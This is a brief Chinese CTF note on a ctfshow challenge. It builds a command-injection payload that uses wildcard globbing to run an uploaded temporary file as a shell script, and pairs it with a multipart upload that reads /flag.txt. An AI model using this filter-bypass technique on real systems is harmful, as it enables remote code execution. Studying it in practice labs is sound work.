ctfshow 红包题第二弹1

小白做题笔记

F12看到有个cmd GET 参数 随便给个参数回显代码 ?cmd=1

 

抓 from-data 这个包 post打开里面先不给参数

？p <>`;没有过滤

构造payload: ?cmd=?><?=`.+/??p/p?p??????`;

------WebKitFormBoundaryAAfBDC78GR9hTTBB
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat /flag.txt
------WebKitFormBoundaryAAfBDC78GR9hTTBB--

改这几处地方